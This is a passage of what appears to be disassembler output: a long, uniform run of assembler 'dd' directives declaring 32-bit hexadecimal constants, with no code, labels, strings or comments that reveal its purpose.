8261E227h, 3774AA8h, 0A952E353h, 0BA7B7469h, 0D58A0AC0h dd 6BA0117Ch, 5188B7ABh, 989A8593h, 2DE2C752h, 0CB3E7BEDh dd 5603B2AFh, 0EF24BD9Dh, 0F01A862Fh, 216CFCB6h, 0B1EA6354h dd 4AD17C71h, 0FDB232A7h, 16CF89A0h, 0A5C14BC7h, 0E3A1F4F5h dd 1515145Eh, 0BE74749Dh, 6268177Ah, 0D8031651h, 0CA84AA42h dd 125758B2h, 0B949FED9h, 1D667379h, 0DB388F70h, 0BB83B0B5h dd 419616EBh, 0A7DCD539h, 4A9D36E7h, 0B2676493h, 0FCE19E77h dd 0FF240B3Bh, 0A33E0ABAh, 0AEE9A966h, 0C166C957h, 558CE4D0h dd 0BCF3A297h, 1647E8FBh, 19DE71D5h, 0B47B7154h, 76AA7AFFh dd 8B4144CCh, 8E77F749h, 170276A4h, 0B9565547h, 0D76FDA2h dd 0A86FE63h, 4AE31909h, 0CAB2A8Fh, 0E1C1AA76h, 0DEE5A9CAh dd 0A213E892h, 17764272h, 3393C33Eh, 292DA590h, 0CCF1C905h dd 2E5ACA52h, 3B717CDFh, 0D90C8D7Bh, 649C9C90h, 9D79195Fh dd 353B0336h, 6EDB2AB2h, 911F010Bh, 6054D7Ch, 6077EC9Eh dd 0EB62E6FFh, 7D1E1D01h, 73F71DA8h, 0C8786853h, 0C9B05C0Eh dd 63602799h, 0EC39F584h, 0F1D717C2h, 0B8E68EDBh, 943FFFBEh dd 0A46D448h, 0AF6D7A5Ch, 0FB5DD77Eh, 793B2726h, 0DC3DB62Bh dd 3CEFE41Bh, 94D54AF8h, 19C9DED3h, 7FA714C3h, 0CDB7B1BEh dd 49962BBFh, 0AA766B95h, 44E9A7Dh, 8F555757h, 0E535A973h dd 275C5E51h, 0BD72F237h, 30FAE17Dh, 80E430F7h, 0F9AD2CCh dd 5C844AD3h, 0C8C0AB96h, 238F1998h, 0DD6D666Bh, 3F67F142h dd 4C725C0Dh, 0BF6E800Ah, 5B160D2Fh, 2D2FF01Ah, 5B909085h dd 574BA7C6h, 41BCACAFh, 0DC72542h, 2617E8DDh, 49EE4085h dd 0AB0BFCC8h, 0FE34C023h, 1B7E6E80h, 9DFA8F4Bh, 5146194Fh dd 0D07D3CF6h, 0DE15BBF8h, 0F9BE1191h, 0D8C6B232h, 0A87F3C6Ah dd 0ABC85960h, 9E8309FBh, 1D1C0C29h, 0F1C8F4AEh, 0A2B3B673h dd 42913C52h, 0C45C9C39h, 0A909F580h, 1EA4A8B1h, 1BEDEEFh dd 0D19FCCC1h, 61A64C94h, 5607F8A1h, 591EB081h, 0E250E412h dd 0D638D0BCh, 257AC5BAh, 6199E64Bh, 0B9E294E2h, 0D67AED78h dd 20A8A89Dh, 46E17DF5h, 0D390FA9Ah, 0A0156A93h, 0CB103E77h dd 9EE815E3h, 125C4DEh, 0BD3DC8h, 23484A93h, 3CE32750h dd 4F94C699h, 0B4CB4BDEh, 2AE1E1F5h, 2FB8D344h, 0AC34DCC1h dd 68F272E7h, 0E05A4DAEh, 255AB021h, 6ACB3465h, 955AF4BDh dd 2B606ABDh, 0B105816Bh, 23E2E5F3h, 0BDA263F1h, 0BD922D52h dd 9C474ED3h, 0AFF4DAEBh, 0C8774BE0h, 0DB000978h, 4E1E2392h dd 0F86D3C21h, 8D6C50D2h, 3700FB5Dh, 447EFE73h, 4F8D1E3Ch dd 4827739Fh, 8BD0FFABh, 0DE239F23h, 322B8A1Eh, 4D129C9Ah dd 469B480Dh, 793EB04Ch, 22D1C939h, 0F55ACA51h, 51711A31h dd 0D3EE547Bh, 981C9C91h, 0ED8D1032h, 0C9084DBDh, 0A4537CA6h dd 0BFE4EA89h, 0D80CE0ADh, 0FB3E4DA0h, 0D160E22Bh, 0E81E1D11h dd 0BD5DC4C2h, 0D687206Dh, 0D99E319Dh, 2E9B215Fh, 0EDBA3ABFh dd 9BD0D0C9h, 72A9358Ch, 0E9CECFBAh, 5D5EDE43h, 0CDAABDE2h dd 0E1ADBE23h, 1F54544Eh, 0AD8B5FD2h, 0C6D98065h, 0F1A8F836h dd 82E844A1h, 12ABD48h, 0F4D8D8CDh, 77A720AAh, 8B2A50BCh dd 9A1AD643h, 0EB0EB2B0h, 9E86433Bh, 275E69D5h, 0B81A6167h dd 0DE88887Dh, 0F9870126h, 0C239EDA9h, 15DA75B5h, 5415ED3Dh dd 4F4BF514h, 0D70C1C3Eh, 6F322618h, 0EFB9382Dh, 994ECFD3h dd 2E650C0Dh, 5085FA6Fh, 5B80AE6Bh, 0F036E21Ah, 0CECBCB1h dd 4FD23813h, 8CE67D22h, 897B7EE3h, 0B7196150h, 752AB997h dd 35E2D5CAh, 43BDD65Bh, 2903D1E2h, 0B8820267h, 101D15A4h dd 0A9AE3EBDh, 0B13E5146h, 0E55F5ADFh, 0BA7974EAh, 118D86FBh dd 181C971Dh, 12B73D17h, 0D5485823h, 0B91FE1D6h, 3F1E7569h dd 0D7E00B15h, 54A6356Ah, 0F93536BBh, 0F748C33Eh, 0BEE262D6h dd 0DD936D60h, 49648E13h, 7ADB774Bh, 852A84D9h, 9E5F90C0h dd 0B166E71Bh, 59F9C1FCh, 0D5231297h, 8C52EB75h, 92A564Ch dd 0B48AD4C9h, 11DEE339h dd 0B195FFA1h, 0EC168635h, 0E732BF9Ch, 65437337h, 0DCA7A269h dd 0A7EE7BEEh, 4FEE8469h, 0E59A0EE7h, 84E3E2A5h, 1F9442Eh dd 839851D1h, 0DD67FFF3h, 830818BFh, 0E214281Ch, 3E20106Dh dd 0DF48C2DFh, 292A7254h, 0CA75BC79h, 0D784A8C5h, 0D632D76h dd 0C7B3E9A5h, 2B315EE7h, 0EF596989h, 0ADFA6AD0h, 0DB101019h dd 910883Eh, 291C1211h, 0B877E867h, 4B504678h, 0EC5E8656h dd 10DE9EFAh, 0F58A64D6h, 0B9553FE2h, 0A0D646F5h, 0B7EC4025h dd 1D02E8F7h, 76E74B5Ah, 793E9121h, 1AD4C9B2h, 0A530DA5Fh dd 0F21B6B86h, 0D46E5776h, 419C9C91h, 0FDB85682h, 0A15D37EAh dd 0AADE4EEDh, 54A4F82Dh, 550DE2F4h, 56AD2015h, 8126A8B2h dd 82B31F16h, 0AD72DD55h, 1706B8E8h, 0E6CEBB0Eh, 0CA27A489h dd 5AA2F3Fh, 0A45D5DC5h, 1AE6769Ah, 96FC963Fh, 0C8EDC151h dd 0F33816E3h, 0F73E46B0h, 0E1DFC566h, 8A2A5FD2h, 46308065h dd 0F1E3B879h, 8D9D44C1h, 7FA3BD48h, 2ED13BDAh, 0D3056F94h dd 12FCB72h, 5A5A2782h, 5FC33035h, 28AD31BCh, 0D5C9A302h dd 3D72E259h, 439DFFC0h, 0C3EA1F93h, 7FC184C1h, 0B75FB5BFh dd 2BE0F0EBh, 51B74956h, 0C6780C01h, 734D27D0h, 338383Dh dd 1C88CE43h, 2F742566h, 3B72136Fh, 0DE576F7Ah, 0F1B6331Bh dd 7BCBCB1h, 1DD6909Ah, 93A7E2D0h, 2791119Dh, 0FF727B29h dd 104CC373h, 2B0F6014h, 0C43BBF3Fh, 17031841h, 0A8EE6714h dd 17F9EAEFh, 0F3A30FC6h, 0AFE4E499h, 56FA15EFh, 0DE9D9D90h dd 3061A689h, 89797863h, 2F38BF06h, 7D2D2458h, 0DA3BB227h dd 1F0D181Ah, 0A5FA6B17h, 5C180ECh, 79D316CFh, 0E3AFA9B1h dd 1960CB6h, 0A28C8BCDh, 3767EA6Dh, 0C2041E7Eh, 0E46DB022h dd 72383331h, 0D0468135h, 235C101Dh, 0BCB26BE6h, 1D88CCF3h dd 7DD659DAh, 0F0B2F4E5h, 478C4AADh, 0AF6E659Ch, 415FB678h dd 83454D56h, 0DA48CF0Dh, 462A3D25h, 0DC1C8F43h, 3AEBFD59h dd 97FC3AA3h, 1FDED5CCh, 52E679C8h, 86B9B1BEh, 1D863BC7h dd 0A7287B94h, 487BF37Ah, 0D8407D09h, 0F426EA4Ch, 83410521h dd 753A54CAh, 7E8987FBh, 6EB28483h, 0FD0BB87Ch, 42D43D02h dd 19C41369h, 0BBED8D32h, 0DBAD5005h, 7126A61Bh, 73C3C31h dd 9D52D247h, 3368685Dh, 0C97EFE73h, 5F949489h, 0F5AA2A9Fh dd 8BC0C0B5h, 21D656CBh, 0B7ECECE1h, 4D0282F7h, 0E318180Dh dd 792EAE23h, 0F444439h, 0A55ADA4Fh, 3B707065h, 0D186067Bh dd 679C9C91h, 0FDB232A7h, 93C8C8BDh, 29DE5ED3h, 0BFF4F4E9h dd 70A8AFFh, 8BF898A6h, 0C38613A8h, 944C4C51h, 0BD2056F2h dd 0F477786Dh, 8A031AC0h, 2413AB81h, 8E6A39A9h, 0B0F4F481h dd 28946A99h, 0B4F4BECAh, 49501913h, 7A246A36h, 997C0EA6h dd 0ABD1DD49h, 5E6AFA1Dh, 63420370h, 23F7CF69h, 0F224ACA5h dd 0DD266EFh, 0A3D8BC25h, 39CE06E3h, 4A8904F9h, 650AB98Ah dd 8F28097Ch, 95864537h, 0A2A3ABB3h, 0BD62B0EBh, 50517FBEh dd 0F9BA461Eh, 80A457A9h, 1545B6CFh, 49E40856h, 0C46BFF1Dh dd 540C1C22h, 6856A22Dh, 713B0A06h, 65004353h, 0AC3A3F01h dd 0C10EFA55h, 587BA27Ah, 19B65464h, 784343E6h, 90F99CECh dd 0B3F8AA69h, 7DB57DABh, 4F919BCAh, 0B22ABA5Dh, 1B02CCB0h dd 0A156D64Bh, 37508461h, 48090277h, 6388DA01h, 6589E4Bh dd 8FDC2C46h, 98595ACFh, 0BBE0B269h, 0D80EF3FBh, 0F7381D8Ch dd 82AE5927h, 30AC4B0h, 2CD11D53h, 3F6436F9h, 97069FF6h dd 6848A085h, 32B636ABh, 4470F08h, 2DE26257h, 3D1510BFh dd 0CC0D71FCh, 0EF3466ADh, 0FFB96C2Ch, 9F5F5049h, 0B166E75Ch dd 476C06F2h, 0DD6F9688h, 3123A89Dh, 0C1566EBFh, 9C2B2B37h dd 25A8DE5Ah, 9BC603F5h, 98969E81h, 77355821h, 8E36ECCEh dd 0A8A9B30Dh, 58EFEF2Bh, 905B5BA6h, 0A9DEE30Eh, 97C5B0E9h dd 920E6DE2h, 28D32628h, 3DF27250h, 2D70899Bh, 0EC11AC20h dd 0FF343482h, 95704969h, 61EB6520h, 4A741D7Bh, 67D8F8Bh dd 125C507Fh, 370DBB52h, 0B4CE5E81h, 549C245Ch, 457EFEE0h dd 6EEF1005h, 7136E4AFh, 0F969D461h, 18512DB8h, 33782AE9h dd 8BCA7BFCh, 5B979499h, 352979BBh, 841BF3B7h, 33355E7Dh dd 0E4CC2561h, 4926A636h, 0CA3C0424h, 39758A2Fh, 0F4C5ADD2h dd 78E10D40h, 0C0F14E11h, 0AE843D3h, 9C1DAAE5h, 21309FEh dd 6849E6C9h, 856B7C05h, 4475D29Dh, 0A652636Ch, 10A13E61h dd 726E5F56h, 0ECCD5A35h, 4C47DD11h, 0B8F97619h, 38AB31B3h dd 0FA5BA2EDh, 5AA783Fh, 64A1399Eh, 0B2B89924h, 2815E833h dd 9EED6DF9h, 0AB2C421Dh, 76CBEEDBh, 2DC1DCB6h, 0D36AFA79h dd 4998B1CDh, 0E272D669h, 0DCCA4EA3h, 0E59A44DDh, 5C272DF8h dd 0BEE6AC60h, 97016E28h, 9AEFB2E7h, 0F8CAB0DAh, 0C1F6CD48h dd 16ED953h, 56D8F277h, 0BE0E25Ah, 0EA649E39h, 6E04ACDCh dd 0EA3F4257h, 0ABE1582Ah, 937276EBh, 37DD0175h, 9BC968E9h dd 3803DC6h, 32CECE43h, 0A2A7DBBBh, 0D54372FAh, 0AC47BB85h dd 7451E541h, 87AC85CCh, 15D252C7h, 72287DD2h, 0CC087513h dd 0DF042D72h, 132CDF1Eh, 0E065C938h, 0DAD32058h, 356C7C58h dd 0C0E40402h, 6773BDBCh, 0DCAF23C5h, 332C6FDFh, 0AE25A530h dd 2E79C4A6h, 5116C45Fh, 62EBDFBAh, 7D228B5Ah, 1B48483Dh dd 0AD9E4B5Ch, 0A39CDED5h, 5C75F580h, 7BE20800h, 7A33C0ABh dd 96CCDCF8h, 1CED66A2h, 3D3FA06h, 0DCF94DA8h, 0EF341D64h dd 8D3ABA2Fh, 9EDA7731h, 0B176DF2Ch, 21779CB0h, 0BBD7998Ah dd 0D9501836h, 30C9BB39h, 7F15D4D9h, 518D6FC4h, 0F8AB067Ch dd 8ABDF0CBh, 78489433h, 7E9C232h, 33612FC8h, 7836EA63h dd 8C2F9C99h, 0C2179F49h, 90B9B0B5h, 0FA3AF69Eh, 4C64BAF1h dd 0D65914E7h, 8B0C62E4h, 96EA8EFBh, 2D30B9D6h, 0F3422AFEh dd 4DA0E950h, 71751DC0h, 4CE62611h, 1E55CACFh, 6384752h dd 19DE694Eh, 0A71E64DFh, 977E559Ch, 11EED371h, 0BBD8656Fh dd 0CDC2FB45h, 57AC0B33h, 0F9966429h, 380F107h, 0A6249BFDh dd 721AE174h, 601B701Fh, 0CA23E60Fh, 5C145C21h, 0C8F5414Bh dd 0E3082170h, 792E8E23h, 0D31C289h, 0EAD7DE4Bh, 4ED5FA9Bh dd 0B7861642h, 62601C3Ah, 0FD0235D2h, 0D337873Dh, 0D6BCB679h dd 3A030B16h, 551AB382h, 0EB206015h, 0B0500E4Dh, 3EF84E34h dd 0B5D24931h, 7A0FFD67h, 394E0E93h, 524C0E9Ah, 0B545C550h dd 0E655274Dh, 31E676E2h, 0B2FCFC71h, 0D7942205h, 0E3115DB8h dd 995D833h, 182151B5h, 0FAEAEAEFh, 882AC08Ah, 0D81EAB06h dd 7A44ACB1h, 0FA3DBD48h, 0B3E1A548h, 39EE6EE3h, 7F0770D9h dd 0E0ED306Fh, 0FB200958h, 9946C63Bh, 72E45B25h, 16721EECh dd 2E0D7F32h, 0EA9E0EAAh, 70B5B4A9h, 15CABA3Bh, 10850D5h dd 0D54BFF40h, 3F0C1C43h, 92DD5CDBh, 0A892D09Dh, 0DBD673CAh dd 928C6449h, 32850591h, 4BA9ED00h, 0F1A6259Bh, 70A6C8B1h dd 0DEB2F42h, 0B3E8E8DDh, 0A1F40AF2h, 20EBEA27h, 8AD431F7h dd 0A1A9F0CAh, 35D35DE0h, 0BC6C7C23h, 444A29B8h, 73DA0430h dd 5E6A7A3h, 70A0A301h, 0E5E9F1F9h, 3E075B83h, 5116BF86h dd 0E71C1C12h, 0F8C4A153h, 13587146h, 4154AAD3h, 0C08B89C3h dd 2A745197h, 0FC7186Ah, 321D1022h, 6067AA01h, 3DDB1F52h dd 0C3F8FBEDh, 0AF54FA03h, 0FF1D5F9Ch, 8F4F3A2Fh, 0E4ADD1ADh dd 4F540EA4h, 4594838Eh, 6D6DED7Ah, 88BC40BDh, 305DC14Ch dd 8A2B6CAFh, 9E7BC1B9h dd 0F27D957Eh, 0B3E1961Bh, 0F72FEED6h, 9937C237h, 0DCA484A5h dd 51715E9Ch, 0B07B7E97h, 0F065A2E9h, 0D0211BC3h, 944D8930h dd 0A7CC9E4Dh, 757BBACCh, 0AE8DFF01h, 6A1E8E2Ah, 8B343429h dd 0E8CF3D07h, 2B60706Ch, 0B570F66Bh, 2A097BADh, 0EDA232AEh dd 0F6B9B8ADh, 0E40CA6C9h, 0E40C1B26h, 0B2058512h, 0CB296D80h dd 7126A61Bh, 0EF364835h, 62AD2FEBh, 0CC9509B5h, 0B4FB098Ch dd 5B9484B0h, 81AA2A9Fh, 765628A2h, 86EA934h, 1C241221h dd 39C28A4Fh, 96A0B309h, 0D24945DBh, 0F0B93BD1h, 0D8DF2DB0h dd 3370605Ch, 0A486067Bh, 1C211CE3h, 0FDB2229Eh, 0F620A1C9h dd 9121A12Eh, 76DDECC0h, 6C7D2FF5h, 0FE02005h, 0F693BC28h dd 0BC4C5C78h, 529FA9BFh, 0E9C9C892h, 0E0F58B09h, 870EA489h dd 0FA45C793h, 0EC5566CAh, 0BCE676E2h, 87F83CF5h, 0ED1A72C6h dd 43834E90h, 61691432h, 0E0ABA969h, 0D34ED676h, 127B62CDh dd 0D8EB937Ch, 77BCACB1h, 0AB642B7h, 0C572917Dh, 3B141B5Bh dd 27AF6218h, 9AE566F3h, 0C89AD895h, 2CCF6DFBh, 274C1ED1h dd 840F7790h, 53A8886Dh, 0FEEB1E93h, 836A5CFEh, 9E90B540h dd 80B8501Ah, 34737C21h, 5E0C1C38h, 85885E5Dh, 0FCC7C4E5h dd 59CF7625h, 1619E1AEh, 0C53AFA7Fh, 58E49085h, 0FB8EE21Bh dd 9785C914h, 947934C7h, 0A3AA6C60h, 0CC09D5F3h, 0DF042D74h dd 352AAA1Fh, 5BF04940h, 98235349h, 0C0C66C71h, 0DDBB7FF2h dd 6398188Dh, 49A55BA3h, 0F941CE01h, 8FDA4AF6h, 396CD0Eh dd 0D4F19ECAh, 0E70C256Ch, 7D32B327h, 3AF84A49h, 90287B59h dd 0DBB47479h, 0A32F007Ch, 0DA0B0ACh, 800E5000h, 0EA493B31h dd 2DE272EEh, 0B6F8F8EFh, 53C63A01h, 0FF1D52BCh, 0C91DC2Fh dd 0B12F0F8h, 98EE5E5Bh, 0B0D77C71h, 0CDAB6F02h, 73A8A09Dh dd 0E1CF4AB3h, 602B28E9h, 0C97EF28h, 0CF0000E5h, 6A63960Bh dd 72269491h, 8D52FB40h, 0D415B3E7h, 0A95793E6h, 4F8C8479h dd 838B6F8Fh, 7150331Dh, 1FF311Eh, 9477BAD1h, 2819D827h dd 0CB21B09Bh, 50693B19h, 1BF43439h, 0E2EFC03Ch, 4D60706Ch dd 0BCF301C0h, 578C9CB8h, 8BA22287h, 0F7783915h, 110ACEC0h dd 969341D3h, 0EE9C7AFFh, 0A095A60Ah, 0DA26B622h, 0F8C793D9h dd 0E0D725B8h, 33687864h, 0BD3EFE73h, 5DC42487h, 0E5935F1Ah dd 1E286AB5h, 0AC29A930h, 3A6512AEh, 4D12C07Fh, 0DA659DFAh dd 792EAE33h, 330C439h, 0EF032FFh, 79DCCDECh, 0D46D066Bh dd 98677D79h, 6D8DA58h, 163F3742h, 29CE67AEh, 0BFF5F4E9h dd 15BA818Ah, 0D255A51Fh, 6A9CB63Bh, 94F42A4Eh, 0D8C7E897h dd 25786854h, 738FBE28h, 56D9216Eh, 5BA3ABFh, 0B4A5D0C7h dd 89BE32Ch, 0C7FCFCE1h, 47679203h, 7622E8ADh, 892E8744h dd 2628F1C3h, 55ABEA4Fh, 2D38E665h, 0E126BD0Ah, 371CA44Ah dd 34B5C7BDh, 5472D8DDh, 29D71366h, 0C70404F9h, 30AEF0Fh dd 0F1D8B39Dh, 817FB09Eh, 97F73A51h, 0D7A1966h, 250D8235h dd 439E0EAAh, 804E6B41h, 684FBD40h, 0ABE0F0ECh, 0F0F666EBh dd 0B1297974h, 67DA21AFh, 13014E88h, 0AAE5A843h, 924DCE99h dd 0C56AB8E7h, 62ED1572h, 0F1A6268Bh, 98C9BC91h, 6392576h dd 0ABE150BBh, 7088DBF9h, 3BD41419h, 38FA01Ch, 6D40500Ch dd 29EBFFE0h, 0BD6C7C23h, 452788B6h, 59888CFh, 0FBF69E08h dd 9FFDB13Ch, 5C32F0CFh, 4C0F0F1Fh, 413FFB7Eh, 0E71C1F11h dd 8A1EC626h, 37135B8h, 0A95EDE53h, 0C854016Dh, 0C5B377FAh dd 6BA0A095h, 0E9BC43A8h, 6833351Fh, 0D218293Fh, 39F81012h dd 18E671FCh, 18DBDBE3h, 9503C7AAh, 1B505045h, 16E9253h dd 6A94D6B8h, 2A6DED7Dh, 6391D518h, 9BE3EB3h, 2FFEA0E9h dd 406F40D8h, 0A0010CCh, 0E81B8CEBh, 0F52C0829h, 9D7BB792h dd 20BC984Dh, 126A2AE3h, 0B07D7B91h, 4FFBAA70h, 8449474Dh dd 0EE7E2044h, 0D279D631h, 5BF262DEh, 2AEEE056h, 0ECE961ECh dd 0FF240D54h, 954ACA1Fh, 0ECEB2421h, 83F67BE0h, 96A78C91h dd 5D5E631Eh, 0F63DB2F5h, 0B3CE5EFAh, 501D5B31h, 387F8D10h dd 0DB10003Ch, 526E61Bh, 57845A3Dh, 0E8D7D884h, 0D8687864h dd 36C69879h, 2A319E69h, 93AA3AA6h, 7256281Eh, 0A421A934h dd 0B7FCD59Ch, 4C0282F4h, 2C934779h, 3BB62BA8h, 0C76F4429h dd 96A692C6h, 46F587ACh, 0D1861642h, 129C1C91h, 8837BFA9h dd 19C8D884h, 0D05E1EDBh, 320C87EAh, 714E47FBh, 0BE12005h dd 2ABD0623h, 0AF2A4AA2h, 6042266h, 0C3F7C00Bh, 0D98EB6EBh dd 945A699h, 80116204h, 0FDD6A50Ch, 57265763h, 6D3F4C5Ah dd 0A2EBB9EFh, 8EADDFE2h, 893EAE0Ah, 6BD45449h, 3EA56145h dd 5BC22CF0h, 685E3D8Bh, 84450E9h, 0BD3DBD4Eh, 0A630720Eh dd 0B411911Ah, 0DF3D8C7Ch, 189F6D0Fh, 0FB30201Ch, 0E456C63Bh dd 0DF770B57h, 366B193Fh, 0ABA3A02Eh, 6415CEB8h, 7FA4F609h dd 574ADFBEh, 92E1E0C5h, 45D23260h, 0C766B188h, 0D0A9A207h dd 3287AA9h, 0DBCE4B68h, 0AA936449h, 0C56AC312h, 5B9090C5h dd 295124EFh, 87B87E1Ah, 0A0510591h, 0B3F8AA61h, 907A71F3h dd 37141408h, 752AAA12h, 4512057Eh, 93659A0Eh, 7B20284Fh dd 0A717FD77h, 0EA9888B3h, 0E9ECFE26h, 0D74F97B9h, 0DA0259F3h dd 0F87BD896h, 0A41F6ECFh, 7297E3EEh, 7D22F097h, 1F0A4B66h dd 0EB8A5BDAh, 7D777479h, 0D0F8377h, 0E0A0B0D7h, 0B2491ED8h dd 97CCCC41h, 0D216903Fh, 73457312h, 0F0E9E41h, 10D0C2F1h dd 35AF31D0h, 90504007h, 0FB65EE11h, 0C4B2577Dh, 559D176Eh dd 73A8A9FDh, 8E4BABCh, 2AD7D4C9h, 35FA286Bh, 8970B5F6h dd 5DBA961Bh, 55A923C9h, 42C237h, 0A6735C0Bh, 0B97EAC13h dd 0A7D4827Ah, 1A65EE2Ch, 39000D26h, 64C646ABh, 0AB9BE7DAh dd 3CE9F1E8h, 0DFE308FDh, 2BAE0B2Ah, 7A3B3439h, 954ACB32h dd 6910E556h, 4010F67Bh, 58A973B9h, 0EDA2DE12h, 81F833ADh dd 49FA0DE8h, 50108231h, 0F5474310h, 0D4100047h, 7126429Eh dd 0B3B93F31h, 9E52C205h, 232A18D8h, 0E27E7573h, 0DD9B98CEh dd 0F5AA2A52h, 84C8878Eh, 21D69248h, 0B52C6FE1h, 4E16C5F4h dd 0F35A6888h, 867EFC23h, 1F06948Ch, 8FCF254Fh, 6170605Bh dd 5489C6FEh, 679C9C26h, 0FDB2AE4Eh, 9C37F4BDh, 29DECA56h dd 0AACA74E9h, 55810FF0h, 0ADAB2015h, 0B5759D2Ah, 0E4B9A411h dd 105B1DA8h, 43683ADDh, 5C8D79F6h, 6FB4E62Dh, 47CABFACh dd 1E59D0D5h, 31F62407h, 42C7FC7Ah, 5D02D0D3h, 7613206Fh dd 892EFCEBh, 1F693D3Bh, 0C71AEA5Fh, 4B9F6842h, 0AF1B168Bh dd 5C6D275Dh, 1D8041B5h, 0E1045DF6h, 359B6EF3h, 3014C07Ah dd 415E153Eh, 0E0DB5139h, 1C349F8h, 475C4C13h, 0FF0247ECh dd 0C060886Dh, 8861E167h, 7FB4B400h, 3EC43F3Fh, 0A292EC92h dd 4EFE31D0h, 28F33083h, 0E82DEBE8h, 0FCC7C69Fh, 186AF2C8h dd 2F4D19FEh, 3A85056Fh, 0DAD27B5Ah, 0F1C602D1h, 0B4F25CB1h dd 39DED907h, 0F1546D5Ah, 0CC777EE3h, 0DF0456B1h, 5CAB1392h dd 8E434035h, 0A146943Bh, 79C9C907h, 8F81C45Ch, 6FDAB399h dd 11556865h, 8F91457Eh, 25DF5ACFh, 0FD79F0E5h, 9258D907h dd 9189E346h, 0BC32A219h, 964757D5h, 0A95EDF49h, 171E2039h dd 4075F515h, 6BB09E43h, 0EE9F62Eh, 97CDC949h, 0C9718AD7h dd 0D2100712h, 0A0E8E03h, 8662507Ch, 0E069DF43h, 72222526h dd 0B1279F2Fh, 538C98Eh, 486D1297h, 73B896B7h, 4BF2BB3Ah dd 863CD4D9h, 66EA6ADFh dd 0A0615490h, 0F61D96Eh, 9F5F5E44h, 0FF12B25Eh, 4F312E24h dd 0B90B8906h, 0A7E06C2Eh, 0F672E570h, 28B0B0A5h, 62A314DEh dd 0C2AEB3A5h, 4B9B00B7h, 0B46D6494h, 81499E76h, 0CBDC6Fh dd 954AD8D7h, 69053355h, 0B41D950Ah, 3EFEDCF1h, 88CE4BE1h dd 0D4B8DDCAh, 0E626672Bh, 0AFFC0C26h, 20A97AEFh, 0B5717846h dd 1E68C37Ch, 7E5A5545h, 0EB3BA017h, 540D0434h, 2129FE16h dd 0A06B7C8Fh, 70277ECFh, 8BD0FD3Dh, 4B8632A1h, 2213BBE0h dd 4D12BC15h, 1C3C2484h, 6910B0B6h, 82846E39h, 0B51B9AF2h dd 6B202065h, 0EC0EB384h, 66F49C81h, 0A9B236A7h, 6C9FC9D7h dd 399C1246h, 0BB9EA0E9h, 199F75A8h, 68203057h, 34C9A2EFh dd 175C0E05h, 933877A8h, 8027787Dh, 98CEBB0Eh, 90F2A489h dd 1584643Ah, 642853C5h, 315DE2D4h, 4275FCF1h, 5D02D057h dd 0C7E2877h, 990024A6h, 1094D149h, 0B56A4EDBh, 1B40AB75h dd 0B1957CDBh, 77C4ADCBh, 5B0242B7h, 9DE24D32h, 0C16D6EF3h dd 0C8800B06h, 0EC1A9A09h, 0EB7264A0h, 0C9CB4B3Bh, 0AA5C4C13h dd 0AD3092F2h, 39DAD97Dh, 7C614E93h, 7FA48ACFh, 1A35B23Ch dd 0ABE53551h, 0BEF61CEBh, 0C74E58B4h, 0FB75D17h, 80382813h dd 1D4131BBh, 2F6461E7h, 87127FE6h, 92A39095h, 0A1F7E598h dd 0D6B8D6E0h, 5F86E738h, 2617E8CDh, 49EE40CDh, 5B1BD48Ch dd 752AAF85h, 8EC98906h, 0A1469427h, 5F3D3D30h, 0CD8D0268h dd 0E50D67DDh, 7CAE3E9Dh, 0DC40CB79h, 0ACDA5ACAh, 0ABB28060h dd 0B2BE45FBh, 6C1C1C63h, 0F8C58A6Ch, 13587140h, 0B95EDE53h dd 0BA77721Ch, 0D59A1A15h, 0AAA372A6h, 0E041C75Ch, 0D5B04948h dd 0AA5A62C7h, 48F8F8C4h, 0DC0DB248h, 0EF343473h, 4439681Ch dd 0FAA7A1B2h, 0F31263D2h, 48BF7C61h, 24945930h, 20259D7Eh dd 4A0931ABh, 0D604D7DDh, 36C2ABB4h, 943A8125h, 9878FF7Ch dd 8DAF3155h, 6D30C33Bh, 0A86413C6h, 0FB6DFA21h, 7C00969h dd 0C643ED70h, 13358B64h, 0D2C656F9h, 0B7F8885Ah, 0BF7DB2D4h dd 0D3080845h, 82D115D0h, 0BF89B922h, 694ADA7Eh, 0E253BFDEh dd 0B317CAC7h, 20F6B087h, 47820E95h, 6FCCE491h, 0C4BA60FFh dd 4791E4E5h, 4471B30Ch, 9E485538h, 4C2DD21Bh, 76E7F62h dd 62615748h, 30E397A2h, 8737A94Eh, 79109BCAh, 0C855D560h dd 0C59583E2h, 0DECDD2C4h, 0E0D1131Eh, 4230B1B4h, 1CE70889h dd 2A7E93DCh, 8B4B0B6Dh, 5AA5254Ah, 1698AB56h, 0A479F985h dd 9B667481h, 0DC5ACD58h, 9C373743h, 0D620B257h, 5726C716h dd 550A8AE9h, 14DF43FDh, 81365ED4h, 96114C41h, 0BD56EEBAh dd 4082916Dh, 26EA0E83h, 1F112FABh, 61BA2AEDh, 1AB6F24Ch dd 3EBC2BE5h, 0C7FF1F74h, 614C1907h, 724EF61Eh, 867BEE08h dd 1F5787CCh, 0A3291D5Fh, 4B80A075h, 0E2509384h, 345AACA1h dd 89CD40EBh, 0A3D8DB71h, 4E62D68h, 6FA4A459h, 66B41E00h dd 0DB0D3025h, 9E66E61Bh, 275FFFD5h, 75F97967h, 0B088887Dh dd 61764F85h, 7C4B4B46h, 588FE32h, 282EE3D5h, 0C2F6368Ah dd 3F0C4860h, 92DD5C8Ch, 42BA22h, 3CCDCE43h, 2F7426E1h dd 0CD38716Fh, 7080DA0Eh, 0C2A2555Ah, 84B95771h, 0D98DB0Fh dd 0F1906D54h, 3FD7EE3h, 0DF14AC05h, 9D7BAA1Eh, 0F4BFA6F0h dd 982D437Bh, 17DD6C71h, 0F4FEB747h, 43F2989Dh, 81F6E75Dh dd 696F2CADh, 0F75FA530h, 683264EAh, 2C93B719h, 0C1C0C28h dd 0B745C2h, 13485804h, 0DD5FDE53h, 42F1834Bh, 0D68A1A46h dd 1EA0A095h, 7C13B7A7h, 68CCDCF8h, 0C6199D28h, 0BE7579E7h dd 590E9E3Ah, 872C2419h, 853ABA29h, 1B56381Ch, 593EE65Bh dd 0B8839A2Ch, 0E4E7970Dh, 0F72EA88Dh, 19874B99h, 0EA515CC9h dd 0D7EA7AE6h, 0B685F715h, 69168632h, 822C2C21h, 0FAFF423Eh dd 22584874h, 3C992B17h, 4F94BD04h, 0ED9A1A8Fh, 0C630ABD1h dd 11D67FCEh, 276CA8D4h, 2DCB045Ah, 747C0DFDh, 50692393h dd 8B313439h, 0E8CF3DA1h, 2B60706Ch, 0B556F66Bh, 22310C88h dd 0EFA232AEh, 263B31DAh, 19DE0C7Fh, 5D420CD9h, 6128510h dd 33EFEFF8h, 7126A46Ah, 4548A1BAh, 51D257h, 